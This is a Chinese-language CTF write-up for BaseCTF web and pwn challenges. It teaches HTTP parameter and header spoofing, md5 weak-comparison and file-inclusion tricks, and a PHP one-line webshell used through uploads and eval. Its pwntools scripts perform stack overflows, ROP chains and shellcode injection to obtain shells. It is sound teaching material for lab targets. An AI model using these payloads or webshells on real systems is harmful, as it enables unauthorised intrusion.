WEB
A Dark Room
这道题的考点是查看网页源代码
网页源代码这里看到的是网页的html + css + js在用户浏览器上执行的代码
有时候很多铭感信息,或者关键信息。
查看网页源代码的几种方式
1 右键点击查看网页源代码
2 F12
3 Ctrl + U 快捷键
HTTP是什么
HTTP(HyperText Transfer Protocol)即超文本传输协议,是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是万维网(WWW)的数据通信的基础,也是互联网上应用最为广泛的一种网络协议。
简单来说,就是用来访问网站,网页的协议
使用浏览器去访问某个站点,就需要用到http协议
每种参数解释
GET传参
形式: 一般是跟在网页 url 后 有一个 ? 问号后面的内容即为 GET 传参
url: 访问的网站的连接
例如:http://abc.com/1.php?id=1
这里传递的参数是 id
id的值等于1
url转义,在url中,为了防止一些字符的丢失或是传输不易传输的内容,会将url中的一些内容进行url编码,其形式 如 %20 ,代表空格
例如我想要传递一个参数str=abc
细心的朋友可以注意到,c后面有一个空格,但是对于浏览器而言,这个空格会被识别为误点击,也就是浏览器认为:用户是不小心点的空格,而不是想发送一个空格。
所以此时,我应该这样传递str=abc%20
url编码的形式就是% + 16进制数值
例如 %09 会被识别为 制表符(tab)
这里的16进制数值对应着ASCII码标
0 在ASCII码表中是空字符的意思
如果我想要传输一个空字符
那么就在浏览器中如果键入: %00
这会被解释为 空字符的意思
那么我就想要传入 %00
这三个字符而不是空字符怎么办呢?
那就传入 %2500
%25
经过url编码 解码 之后会变成 %
而被解码的 %
不会被浏览器再次当做编码使用的符号去继续解析
这样就能传入 %00
这三个字符
看看题目
这里只需要在url后面增加:?basectf=we1c%2500me
即可
POST传参
GET传参直接显示在URL中,因此常常被用来标识访问的页面id,以及访问的页数page等等
而POST传参常常用来传输账户名密码等比较敏感的信息。
一般而言,在登录页面的登录框中输入的账户名密码都是使用POST方式传参的
但是在一个没有框框的页面,我们想要传输POST参数,总不能自己写一个登录框上去吧(不是不行),所以最好用到hackbar这样的工具,来帮助我们省略那些繁杂的步骤,我在用的是 firefox 插件中心的 hackbar v2.这个版本是免费的。
Cookie传参
cookie是B/S架构(浏览器/服务器架构)中用来保存用户信息和状态的字符串。
比如当你输入账号密码,成功登录之后,对方服务器怎么知道你已经成功登录了呢?
就是用cookie,当你成功登录之后,服务器会发送给你一个cookie(身份铭牌)
带着这块身份铭牌,目标站点就认识你是谁了
同样的,如果cookie这个身份铭牌被人盗取了,那个人就可以利用你的身份去访问那个站点了。
题目要求我们传入cookie
c00k13=i can’t eat it
User-Agent
用于标识你是使用什么浏览器访问的这个网站,可以被我们伪造
Referer
来源,用于标识我们是从哪个页面跳转来到的这个页面
同样的,也可以被我们伪造
你的IP
这里是对方站点,通过http报文获取到的你的IP
HTTP报文我们可以任意修改,这里的IP当然也可以伪造
这里的IP有很多种伪造方式
一般是XFF和Client-ipClient-ip: 127.0.0.1
或X-Forwarded-For: 127.0.0.1
注意,参数前面(也就是冒号后面)要加一个空格
到了这里我们就了解了一些安全方面有关的参数以及其传参方式了
flag在网络中可以看到经过两次跳转,第一次跳转时get传参中包含了flag
将其base64解码
得到flag
喵喵喵′???`
这里是一个典型的木马代码,
-
highlight_file(__FILE__);
-
__FILE__ 代表当前页面
-
highlight_file() 将页面内容展示
-
连起来就是将 当前页面内容展示出来
-
$a = $_GET['DT'];
-
$_GET 是包含所有GET传参的数组
-
这句代码的意思是获取GET传参中的DT参数赋值给变量 $a
-
eval($a);
-
将变量 $a 的内容作为 php 代码执行
这里连起来的意思就是
会将GET传参中的 DT 参数的内容作为php代码执行
这里我们简单的,传入DT,值为 phpinfo();
phpinfo() -> 展示 php 信息
记得要加分号或者 ?>
作为结束符
因为是将 内容 作为 php 代码执行
如果没有分号会错误的
接下来介绍读取 flag 的过程
system() 将参数作为系统命令执行
ls [path] linux下查看目录下有什么文件,文件夹的命令
如果直接 ls 就是看当前目录
ls 后面跟路径,就是查看指定的路径下有什么内容
cat [filename] 查看文件内容命令
传入参数?DT=system('ls');
意为: 调用系统命令 ls
可以看到当前目录下的内容
DT=system('ls /');
调用系统命令 ls /
/ 是路径,指的是根目录
根目录就是最顶层的目录
在根目录下发现了 flag 文件
DT=system('cat /flag');
调用系统命令
cat /flag 查看根目录下的flag文件内容
得到flag
md5绕过欸
本题的考点是 php特性 中的 弱类型比较
我们知道
在科学计数法中
1e61 代表 1 乘以 10的61次方
md5() -> 计算数据的md5值并返回
md5 值是一段数据的特征码,极少极少存在数据不一样,但是 md5 值相等的情况
md5值得到的结果是一段16进制字符串
php的等于比较符号
== ===
分为双等于和三等于
双等于只比较数据,不比较类型
3等于要数据,和类型全相等才可以
举一个简单的例子
有如下php代码
-
$a = '1';
-
$b = 1;
-
$a == $b; // 为真
-
$a === $b; // 为假
可以看到,双等于,会把他们看做同样的数据类型比较
只比较值,而不关注类型
16进制中包含以下字符
-
0123456789abcdef
接下来看题目
题目要求 get传参 name,name2
post传参 password, password2
要求 name 不等于 password 并且 name 的md5值等于 password的md5值
因为是双等于
所以存在弱类型比较的漏洞
这时候我们想到,最开始提到的科学计数法
以及 md5值中是包含 0 和 e的
那么假设存在这么两个值
他们的md5值都是 0e 开头的
如果被当做科学计数法解读
就会被解读为
0 乘以 10的 xxx次方
那么结果仍旧是0
那么在弱类型比较中
就是 0 == 0 的比较 结果为真
那么怎么找呢
我们可以写一个脚本爆破
也可以去网上搜
但是我恰好知道两个QNKCDZO
240610708
我们传入
name=QNKCDZO
password=240610708
就会得到 name != password
但是
md5(name) == md5(password)
的结果了
再看第二个,第二个要求三等于
不能用上面的弱类型比较的方法了
这时候
我们将 name2 和 以数组的形式传入name2[]=1
意为将name2的第0个元素设置为1password[]=2
这时候两个数组不相等肯定是满足的
md5()函数无法处理数组,会返回一个错误值
导致 md5($name2) === md5($password2) 成立
最后绕过,拿到flag
这时候可能想问,为什么第一步不能用数组绕过呢?
答案是可以,但是多学一种方法
有时候会限制传入的内容为数字或字符串,这时候传入数组就不行了。
upload
这里允许我们上传文件,但是并未对文件做出任何限制
既然没有对可上传的文件做出限制
那么我们上传一个木马,是否也可以呢?
随便上传一个文件
看到了 php 代码
说明这是一个php程序
那么我们就需要上传对应的 php 木马
php一句话木马
-
<?php @eval($_REQUEST['cmd']);?>
有没有发现这跟上面一道题有一点相似?
$_REQUEST 包括get传参和post传参两种传参的数组(在某些低版本php中也包括cookie传参)
这段代码解读出来就是 将 get 或 post 传参中的 参数 cmd 作为 php代码执行
新建文本文
写入一句话木马
然后将后缀改为php,文件名改方便点就行
上传文件后剩下的步骤就跟 `[Week1] 喵喵喵′???`` 一样了
Aura 酱的礼物
data 协议
Data协议提供了一种通用的数据交换机制,能够适应不同的网络环境和应用需求,确保数据在传输过程中的完整性、准确性和安全性。
说简单一点,就是可以通过它直接发文本,发图片
发送端和接收端都能够对这个协议进行解析,不会造成
所谓“我说我杀人不眨眼,你问我眼睛干不干”的情况
这种情况就是搞错了重点,导致信息接收不一致
接收方没有正确拿到发送方的的信息
而事先约定好都使用data协议就是一个防止发送接收不对应的情况
data协议传输的数据,也可以被当做文件读取
来看第一个条件,要求我们传入一个POST参数,参数会被当做文件去读取
要求文件内容必须等于 Aura
但是我们没办法在目标服务器上增加这么一个文件
不过我们刚刚提到过,data协议传输的数据,是可以被当做文件读取的
接下来就是使用data协议传输一段文本呢绒pen=data://text/plain,Aura
data://text/plain,Aura
data://
声明这是data协议text/plain
声明传输的内容是纯文本
文本内容就是逗号后面的 Aura 了
如下
接下来就是第二层
strpos() 函数,这个函数最少需要两个参数(第三个参数可以自行搜索去了解作用)
参数1: 被搜索的字符串
参数2: 搜索的字符串
函数会返回 需要搜索的字符串在 被搜索的字符串中第一次出现的位置
注意,这里是从0开始计数的
举个例子
-
strpos("abcde", "b");
函数执行结果是 1
b是要搜索的字符串
被搜索的字符串 abcde,其中,a是第0位,b是第一位
再举一个例子
-
strpos("can can need flag", "can");
返回结果是 0, 因为从第0位的c开始,就能找到 can
那么如果改成这样呢?
-
strpos("cwn can need flag", "can");
返回结果就是 4
那么如果是
-
strpos("abd", "e");
这样呢
被搜索的字符串不存在
函数返回值就是 false
好了,我们回到题目,这道题
如果 strpos($challenge, 'http://jasmineaura.github.io') !== 0
就会 die
那么就是需要满足strpos($challenge, 'http://jasmineaura.github.io') == 0
才能绕过这里
也就是让后面的连接,在 chanllenge 第0位开始就存在
我们直接传入
-
challenge = http://jasmineaura.github.io
即可
接下来就是第三步
这里先讲一个概念
当 链接 被当做文件读取时
php程序会访问这个连接,读取这个页面的内容
这里代码是
-
strpos($blog_content, '已经收到Kengwang的礼物啦') === false
如果满足了这个条件,就会 die ,程序会终止
那就是不能满足这个条件
什么情况下
-
strpos($blog_content, '已经收到Kengwang的礼物啦')
这段代码会返回false呢?
刚刚提到过就是被搜索的字符串中不存在要搜索的字符串
这里得到的结论是,访问的链接页面中必须存在已经收到Kengwang的礼物啦
这个字符串
那怎么办呢?难不成黑入这个博客,在里面写上一句么
有没有什么更简单的方法呢
这时候就要引入一个url中的概念
url中的@符号
@之前的字符会被当做账号登录@之后的url
其具体用法是
-
https://username:password@www.example.com/path
-
https://username@www.example.com/path
也就是说,如果我在后面添加一个@符号
-
http://jasmineaura.github.io@xxx.com
jasmineaura.github.io
这段内容会被当做账号
而真正访问的是 xxx.com 这个域名
现在问题就变得简单了,只要随便找到一个存在已经收到Kengwang的礼物啦
字符串的链接,就可以了
我们可以自己买一个服务器,然后搭建一个web应用
上面写上这个内容
但是有没有更简单的方法呢?
远在天边,近在眼前
我们现在看到的这个页面,不就存在这个字符串吗
最终的payload就是
-
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:31170/
好了,现在到了最后一步了
include() 函数,将内容当做 php 代码包含到当前页面
举个例子
假设我有a.php, b.php 两个文件
a.php
-
<?php
-
echo 1;
-
include('b.php');
-
echo 2;
-
?>
b.php
-
<?php
-
echo 345;
那么当我访问 a.php 的时候
实际执行的代码是
-
<?php
-
echo 1;
-
?>
-
<?php
-
echo 456;
-
?>
-
<?php
-
echo 2;
-
?>
我们知道,在php程序中,<?php ?> 标签外的内容会被当做 html 代码解析
这里也同样
就是说,包含的 php 文件中 php 标签内的内容会被当做 php 代码执行
php标签外的内容会被当做html代码执行
这里是一样的
像这里 flag 在 flag.php 中
一般情况下这种题型
flag会被设置成 php 变量
直接flag.php文件只是加了一行设置变量的代码
并不会将 flag 变量的内容输出
我们可以先尝试一下
结果如我们所料,没有任何变化
那这时候怎么办呢
就要引入一个新的概念
php伪协议
php有很多伪协议
常见的例如
-
php://filter
-
php://input
-
...
这里我们要用到的就是 php://filter
伪协议
这个协议可以将文件内容读取后进行编码再返回
具体长这样
-
php://filter/convert.base64-encode/resource=flag.php
中间的
-
convert.base64-encode
表示将内容经过base64编码
resource
表示要读取的文件
我们试试将其传入
可以看到,经过base64编码后的flag.php就展现在页面上了
其过程是什么呢
-
include("php://flter/convert.base64-encode/resource=flag.php")
程序的触发是从外到内,解析是从内到外
include()函数,会让里面的php伪协议执行去读取文件php://flter/convert.base64-encode/resource=flag.php
这里得到的结果就是内容为以下字符串的文件对象
-
PD9waHAgLy8gQmFzZXXXXXXXXXXXXXXXMDQwLTQ0OTAtODMzYS0wMTFiMTA1ZWRhZjh9ICBBdXJhIOmFseacieaLv+WIsOS4gOihgOWQl++8nwo=
最后包含的就是这段base64编码
但是这段编码很显然,不会存在 php 标签,也就被当做 html 代码执行
直接显示在了页面上
对这段内容进行一个base64解码即可得到flag
PWN
签个到吧
NatCat[nc]
这里要用到一个网络测试工具
Netcat,简称 nc
一般而言,我们可以用nc探测网络端口是否开放
或者是直接去访问某台服务器的某个端口
关于windows上nc的安装可以看这篇文章
https://blog.csdn.net/muriyue6/article/details/107127217
linux下的nc安装可以执行如下命令
-
sudo apt-get update
-
sudo apt-get install netcat
-
或
-
sudo yum install nc
安装并配置好环境变量(或者直接用kali)后
直接连接进去
-
nc [服务器地址] [要连接的端口]
ls 查看当前目录文件
看到有flag文件
直接 cat flag 获得 flag
好,这里解释一下,为什么我直接 nc 连接就可以直接执行命令(获得一个shell)呢?
因为这道题目,将一个获得shell(允许直接执行系统命令)的程序挂载到了这个端口上
我们能够执行系统命令,实际上是这个程序的功能
Ret2text
这里是一个常见的ret2text
ret2text 表示这是一个 有着栈溢出漏洞,并且存在 后门函数(就像上面能够获取shell)的程序
接下来,对栈溢出的原理进行一个简单的讲解
栈溢出原理
定义变量时栈的变化
假设,我们有如下C语言程序
-
int main()
-
{
-
int i;
-
char c;
-
int j;
-
j = 1;
-
i = 2;
-
c = 'a';
-
}
那么程序执行过程中栈大致是如何变化的呢?
这里拿一个表格来举例
假设,表格中一个格子占用1个字节
假设一个 int 型数据占4字节(一般是占八字节,这里为了方便理解,定义为4个字节)
一个char对象占一个字节
首先第一行代码定义了一个,i
栈是从高地址往低地址增长,也就是从下往上增长
这时候栈底的四
然后我们又定义了一个 char 类型的变量 c
再定义一个int类型的变量 j
继续下一句代码我们设置 j = 1
实际上也就是把绿色的这段空间的值修改为1
如图
这里要提一嘴,不是按数字位数来的,一个字节(也就是一个格子)的最大值是255
也就是 0xFF.
继续下去,设置i = 2
如图
设置c=’a’
为什么是97呢,因为这里设置字符变量的时候,实际存储的是ASCII码的值
好了,到这里如果大家看着没问题,那我们接着下一步
当main中调用其他函数时,栈的变化
将代码修改为
-
int qwe()
-
{
-
char a;
-
a = 'q';
-
}
-
int main()
-
{
-
int i;
-
qwe();
-
printf("ok");
-
}
对C语言有过了解的同学们都知道
C语言的入口函数是 main 函数
所以尽管 qwe() 函数 在 main函数上面,仍旧会从main函数开始执行
第一步,定义 int 变量 i
第二步, 调用qwe函数
这时候,调用qwe函数时,代码执行流就会走到 qwe 的位置去执行
那么怎么知道 qwe() 函数执行完之后,去哪里执行代码呢?
这时候就需要记录一下这个位置
把这个地址记录下来,以便执行完qwe函数后,还能找回来
32位程序中,一个地址占4字节(64位程序中占8字节)
(红色部分表示返回地址)
接下来就是进入到qwe函数了
在进入函数的时候,我们需要重新定义栈底,并保存之前的栈底(方便等会能找到原本的栈底)
这里栈底会用ebp(rbp)寄存器保存,旧的栈底会被写到栈上
此时,栈会变成这样
橙色部分为存储的之前栈底的位置
然后定义变量a
设置a = ‘q’ (q的ascii码值为113)
之后这个函数的代码执行完毕了
接下来第一步是根据刚刚存储的旧栈底地址恢复栈底
再根据保存的返回地址回到该执行的位置
然后再继续执行printf函数,程序结束
栈溢出时栈的变化
对代码进行一点修改,加一个后门函数和栈溢出漏洞
-
int shell()
-
{
-
system('/bin/sh');
-
}
-
int qwe()
-
{
-
char buf[10];
-
read(0, buf, 100);
-
}
-
int main()
-
{
-
int i;
-
qwe();
-
printf("ok");
-
}
system('/bin/sh');
当执行这句代码后,会返回一个shell
然后说read函数,这个函数是用来读取数据的,跟scanf相似read(0, buf, 100)
其中,第一个参数是从哪里读取数据,0代表标准输入(也就是屏幕输入)
第二个参数代表读到的数据存放到哪里
第三个参数代表允许写入多少个字节
基于对C语言的了解,我们知道,shell() 函数不在main函数中,所以如果程序正常执行,这个函数是永远不会被执行的。
我们要讲的就是非正常情况了
继续一步一步来
第一句 int i
第二句,调用qwe() 函数
首先,保存返回地址
保存旧的栈底,并定义新栈底
然后 生成char类型长度为 10 的 buf数组
下一句就是我们的 read() ,允许在buf上写入100个字节
也就是从这里开始,可以往后写100个字节
那么如果我们写10个字节,会填满 buf
继续往后呢?
往后四个字节,就能够覆盖(或者说修改)掉保留的旧的栈底
继续往后四个字节呢?
还记得吗,红色的部分是 返回地址,也就是执行完qwe()函数之后,要去执行的代码的位置
那么如果我们把这里修改为 shell() 函数的地址,原本不会被执行的 shell 函数
现在就会被执行了,覆盖掉之后,qwe()函数执行完毕,就会跳转到 shell() 函数帮助我们获得 shell 了
题目讲解
先将题目给的二进制程序拖进 ida 里
判断程序是32位还是64位的方法
-
1 分别拖进 ida, ida64 按F5,如果拖错了,按F5会提示请使用xx位ida打开
-
2 用工具 checksec
按f5将程序反编译后我们看到如下内容
程序中 buf定义时定义了 32 个字节
但是允许读取 0x100(0d256)个字节 0x前缀代表16进制,0d或者无前缀代表10进制
这里很明显存在栈溢出漏洞
并且ida还很贴心的为我们标注了buf距离 rbp(栈底) 的地址
也就是32个字节
这里的栈示意图如下(设一个格子为2字节)
蓝色部分为 buf,
橙色部分为 rbp(栈底位置,保存的数据是旧栈底的数据)
红色部分是返回地址(这里是main函数,返回地址是一个结束程序的系统调用函数的地址)
然后,注意这个函数 dt_gift
这是一个获得shell的函数
那么思路很明确了
只要我们将dt_gift函数地址 覆盖到 返回地址(红色部分)的位置上
就能控制函数的执行流程,获得一个 shell.
接下来就是如何去做的问题了
pwntools安装
最好是在 kali 或者 ubantu 上配置一个 pwn 的做题环境
安装教程可以参考下面的文章
PWN利器-pwntools安装、调试教程一览
代码编写
-
from pwn import * # 导入pwntools模块包
-
io = process("./pwn") # 我这里把二进制文件改名为 pwn 了,这里是你要调试的二进制文件,返回一个交互对象 io
-
# io= remote("服务器远程地址", 端口) # 这里是当我们本地调试,经过测试exp能打通之后,去攻击远程程序时要创建的交互对象
-
elf = ELF('./pwn') # 创建二进制文件对象,对二进制文件进行解析,可以用来获取其中的符号,函数地址等
-
shell = elf.sym['dt_gift'] # 获取 dt_gift 函数的地址
-
payload = b'a' * 0x28 + p64(shell)
-
io.sendline(payload) # 使用交互对象,发送数据给目标程序
-
io.interactive() # 将交互流从python程序给到用户(我们)上面的payload发送之后能获取shell,这里其实就是获得shell之后,把控制权给我们
p64函数
下面讲解一下p64函数
-
p64() 将 数字 转换为 8字节类型 的字节
-
p32() 将 数字 转换为 4字节类型 的字节
-
同样的还有 p16, p8 等函数
那么,为什么我们要把 地址(一个int类型的数字)转换为字符去发送呢?
这里用read接收,接收时会把输入数据当做字符处理
我们知道,程序接收输入时
输入字符 a
实际写入到内存的内容是 97(a对应的ascii码)
写入98,写入到内存的内容就变成了 57 55 (如果用gdb或者 ida 查看看到的是 39 37 因为内存中一般以16进制表示)
我们需要实际写入到内存的数据是那串数字
如果直接写入那串数字
实际写入的内容是那串数字对应的ascii码
所以要利用 p64或p32 函数,将这串数字(地址)当做ascii码翻译成对应的字节
再发送给程序
程序把字节翻译成ascii码写入,就达到了我们想要的效果。
运行EXP
运行后发现,程序报错了
这是为什么,按照我们刚刚推导的理论
我们应该能够获取一个shell才对
这时候就要引入 栈对齐 的概念了
栈对齐
在内存中,地址一般用16进制来表示
64位ubantu18以上的系统 调用 system 函数时需要栈对齐
具体一点,64位程序中,system函数存在一个 movaps 指令
这个指令要求内存地址必须16字节对齐
64位程序中地址是8字节,因此对于每一个地址而言,其栈地址末尾不是0,就是8
上一个示意图(仍旧假设一个格子两个字节)
左边表示这块内存的地址
也就是调用 system 函数时,存放system函数的地址必须是 0x0 0x10
0x20 0x30 末尾是0的地址
像我们这种情况,就是这时候恰好碰到了,返回地址的末尾是8不是0的情况
那么这时候,只需要在调用system函数前加一条几乎什么都不干的空命令
就能让 system 函数能够对齐了
寻找ret指令地址
其具体做法
1 使用 ROPgadget
-
ROPgadget --binary "./pwn" --only "ret"
2 在ida里找
在exp中添加 ret 指令
对代码进行如下修改
添加上 ret
ida里找的和用 ROPgadget 找的都可以
运行exp
可以看到,我们能够在本地攻破程序获得shell了
接下来把攻击目标换成远程地址
把上面的创建本地交互对象的内容注释掉
取消掉创建远程交互对象的注释
并填写上对应的远程地址和端口
运行exp
成功获取shell
shellcode_level0
shellcode是什么?
-
shellcode
-
一段能够获取 shell 的机械码
-
就是C语言代码编译成汇编语言,然后再从汇编语言变成机器语言的这个机器语言
shellcraft.sh()
我们可以用 pwntools 中的方法直接生成
-
shellcraft.sh() # 生成一段能够获取shell的汇编代码
-
asm() # 将汇编代码翻译成机械码
注意 在使用时要使用 context.arch=’amd64’ 指定架构
不然如果默认的架构与程序架构不匹配,是无法使用的
题目解析
用ida打开后我们发现
程序首先定义了 buf 变量
然后用mmap函数设置从buf开始的0x1000个字节的权限为可读可写可执行
mmap函数详解(what?why?how?)
然后向buf中读取0x100个字节
并且将buf的内容当做机器码(机器语言代码)执行
那么这里就很简单了
直接发送一段获取shell的机械码即可获得shell
EXP
-
from pwn import *
-
io = process('./pwn')
-
# io = remote()
-
elf = ELF('./pwn')
-
context(arch=elf.arch, os=elf.os, log_level='debug') # 可以用这种方式设置 arch(架构) os(操作系统) log_level(模式)
-
# elf是读取二进制文件的对象,其中的解析结果也包括二进制文件的架构和操作系统类型,可以用这个对象直接读取,也可以像下面这样手动设置
-
# context(arch='amd64', os='linux')
-
shellcode = asm(shellcraft.sh())
-
io.sendline(shellcode)
-
io.interactive()
-
debug模式: 可以显示出每次目标程序的输出,和我们的输入的详细结果
-
包括生成的shellcode的汇编代码详细
运行exp,获得shell
切换到远程服务器运行
成功获得shell,拿到flag
我把她丢了
这道题也属于 ret2text 类型
但是跟 ret2text 的区别在于
system函数和 /bin/sh 不在一起
程序中有 /bin/sh 字符串
也存在 system 函数
对栈溢出原理还不理解的朋友先去看本文对 ret2text 题目的讲解
直接看代码吧
main 函数调用了 vuln函数
vuln函数中存在栈溢出漏洞
看到一个shell函数
但是函数中只是用 system 函数执行了echo I beleve you
这条命令
这条命令只会输出 I beleve you
这句话
不能获取到shell
首先,先进入到汇编视图
下面两张图其中一张的样子
在ida中搜索/bin/sh字符串(快捷键 ALT+T)
双击第一个
-
一定是第一个吗?不一定,都看看
得到 /bin/sh
字符串的地址
0x402008
至此,我们就获取到了获得shell的条件
-
system函数地址 直接用elf对象读
-
/bin/sh\x00 字符串地址
-
\x00代表结束符,也就是这个字符串仅仅只是 /bin/sh
-
而不是 /bin/shabcd 或 /bin/sh123
-
如果不太能理解上面两句话
-
这里暂时理解为 /bin/sh 字符串地址即可
关于64位程序和32位程序的参数存储位置
64位程序函数参数的存储
-
这些参数会按照从左到右的顺序被依次存放到 rdi、rsi、rdx、rcx、r8 和 r9 这六个寄存器中。具体来说:
-
第一个参数存放到 rdi 寄存器。
-
第二个参数存放到 rsi 寄存器。
-
第三个参数存放到 rdx 寄存器。
-
第四个参数存放到 rcx 寄存器。
-
第五个参数存放到 r8 寄存器。
-
第六个参数存放到 r9 寄存器。
-
如果函数参数的数量超过六个,那么前六个参数仍然按照上述规则存放到相应的寄存器中,而第七个及之后的参数则会依次从右向左推入栈中
32位程序函数参数的存储
-
参数会依次从右向左推入栈中
我们的程序是64位程序
system函数只需要一个参数,也就是要执行的系统命令
那么我们就需要一段 能够修改 rdi 寄存器内容 的指令并且后面 跟着 ret 指令 的代码段
-
ret指令可以帮助我们回到刚刚运行代码的位置,不然在我们跳转到这个代码段之后,代码走向就回不去了
也就是pop rdi; ret
寻找 pop rdi 指令
方法1 ROPgadget
方法2 ida 汇编视图里找
编写exp
往下滑,下面会对exp中的新东西进行讲解
-
from pwn import *
-
io = process('./pwn')
-
# io = remote()
-
elf = ELF('./pwn')
-
context(arch=elf.arch, os=elf.os)
-
ret = 0x000000000040101a
-
shell = elf.sym['shell']
-
system = elf.sym['system']
-
bin_sh = 0x402008
-
pop_rdi_ret = 0x0000000000401196
-
payload = flat([cyclic(0x70+8) , pop_rdi_ret , bin_sh ,ret, system])
-
io.recvuntil("I lost her, what should I do? Help me find her.")
-
io.sendline(payload)
-
io.interactive()
函数及payload流程解析
-
flat() 函数
-
flat([cyclic(0x70+8) , pop_rdi_ret , bin_sh ,ret, system]) 等价于 cyclic(0x70+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
-
flat() 函数依赖于 context 中 arch 的架构设置
-
如果架构是 64 位,就像上面会用 p64 处理地址
-
如果架构是 32 位, 就会用 p32 处理
-
pop rdi: 将栈顶数据弹出,并赋值给 rdi 寄存器
-
pop_rdi_ret 中的 ret 的作用是回到刚刚代码执行的位置
-
由于 pop_rdi 执行时, bin_sh 位于栈顶,因此 /bin/sh 的地址会被赋值给rdi寄存器,
-
再往后的一条 ret 指令,是为了栈对齐加在这里的
-
当设置好参数后,再调用 system 函数
-
执行 system('/bin/sh');
-
cyclic() 生成指定字节的随机字符 这里换成 b'a' * (0x70 + 8) 或 b'a' * 0x78 都可以
这里就不展示本地运行了
直接攻击远程端口
成功拿到flag
彻底失去她
同样的有栈溢出漏洞
有system函数
不同的是,这里没有了 /bin/sh 字符串
没有了 /bin/sh 怎么办呢?
我们写进去一个就好了
像上一题程序中存在system函数,我们能调用system
同样的,我们也能用 read 函数
利用read函数读取一个
像上一题讲的
前三个参数会被依次放到
-
rdi rsi rdx
这三个寄存器中
所以我们需要一段指令能够pop他们,并且后面跟着ret(能够让我们回到我们的程序执行流)
使用 ROPgadget
-
ROPgadget --binary "./pwn" --only "pop|ret"
利用上面得到的内容
-
read函数
-
pop rdi;ret
-
pop rsi;ret
-
pop rdx;ret
我们可以调用read函数并控制它的参数了
接下来的问题就是,将内容读取到哪里
bss数据段
简介
-
bss数据段是用来存放未初始化的全局变量和静态变量的地方
-
未初始化的变量有一个需求,就是在程序运行时初始化并且进行修改
-
因此这个数据段一定具有 读 写 两种权限
-
将我们的/bin/sh写入到这里是再合适不过了
定位 bss 数据段
在 ida 中 按快捷键 Ctrl + S 调出各个数据端信息
双击 .bss 定位到 bss 数据段
bss数据段中的地址都可以,但是尽量选择结尾是0的
我们这里选取 0x404080 为例(一般来说选起始地址就行)
payload 构造
逻辑流程
-
这里直接说执行获得shell的代码的流程
-
首先构造 rdi, rsi, rdx
-
使得 rdi = 0
-
rsi = bss数据段上的地址
-
rdx = 8 (100也行,至少是8,因为 /bin/sh\x00 是8个字节)
-
需要写入 \x00 作为结束符,以免 /bin/sh 和数据段本来存在的其他数据组合成 /bin/sh123 这样奇奇怪怪的东西
-
然后执行 read 函数
-
发送字符串 /bin/sh\x00
-
然后构造
-
rdi = bss段上的地址(刚刚写入/bin/sh\x00的地址)
-
如果有需要,加一个ret指令使栈对齐
-
然后执行system函数
EXP
-
from pwn import *
-
io = process('./pwn')
-
# io = remote()
-
elf = ELF('./pwn')
-
context(arch=elf.arch, os=elf.os)
-
pop_rdi = 0x401196
-
system = elf.sym['system']
-
ret = 0x0101a
-
read = elf.sym['read']
-
bss = 0x404060
-
pop_rsi = 0x4011AD
-
pop_rdx = 0x401265
-
payload = flat([b'a' * (0xa + 8), pop_rsi, bss, pop_rdx, 8, read, pop_rdi, bss, system])
-
io.sendline(payload) # payload 是注入的代码,当执行到我们注入的 read 的时候,我们输入 /bin/sh\x00 ,然后程序会继续往下执行 pop_rdi, bss, system 这段代码
-
io.send(b"/bin/sh\x00")
-
io.interactive()
成功获取到flag
echo
给了一个shell
但是这个系统上只有 echo 命令
这里其实并不算是 pwn
不属于二进制漏洞的范畴
考的属于 linux 奇技淫巧这个方面
echo的功能
我们知道 echo 可以输出指定内容
也可以将内容写入到文件
还可以展示当前目录下的文件
-
echo * // 显示当前目录下内容
-
echo 123 > 1.txt // 将内容 123 覆盖写入到 1.txt 中
-
echo 123 >> 123.txt // 将内容 123 追加写入到 1.txt 中
-
追加写入会在文件末尾另起一行,将内容追加进去
echo 中 双引号和单引号的区别
-
双引号里面的内容会被转义
-
单引号里的内容被禁止转义
-
举例
-
echo "$123" > 123.txt
-
最后写入的结果是 23
-
因为$1在Linux系统中有特殊的含义,用双引号包住,会将其解释为其特殊含义
-
而不是字符串 $1 本身
-
echo '$123' > 123.txt
-
最后写入的结果是 $123
-
虽然$1有特殊含义,但是用单引号包住,它被禁止转义了,只能是它本身
shell脚本
接下来再引入一个概念
shell脚本
-
Shell 脚本是一种为 Unix/Linux 操作系统编写的脚本语言,用于自动化操作系统中的任务。
使用while循环和read命令逐行读取文件
-
#!/bin/bash
-
while IFS= read -r line
-
do
-
echo "$line"
-
done < filename.txt
脚本是问AI拿到的
那么现在解题思路就很明确了
利用echo编写一个shell脚本
shell脚本的作用是读取flag文件并输出
我们用 nc 连接到服务器
使用 echo *
查看当前目录有什么东西
flag文件的文件名就叫flag
接下来我们对脚本进行一些修改
-
#!/bin/bash
-
while IFS= read -r line
-
do
-
echo "$line"
-
done < flag
使用 echo 将脚本写入 (注意,除了第一句都用>> 追加写入)
-
echo '#!/bin/bash' > a.sh
-
echo 'while IFS= read -r line' >> a.sh
-
echo 'do' >> a.sh
-
echo 'echo "$line"' >> a.sh
-
echo 'done < flag' >> a.sh
最后运行 shell 脚本获得flag
-
bash a.sh
无偿获取网络安全优质学习资料与干货教程
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。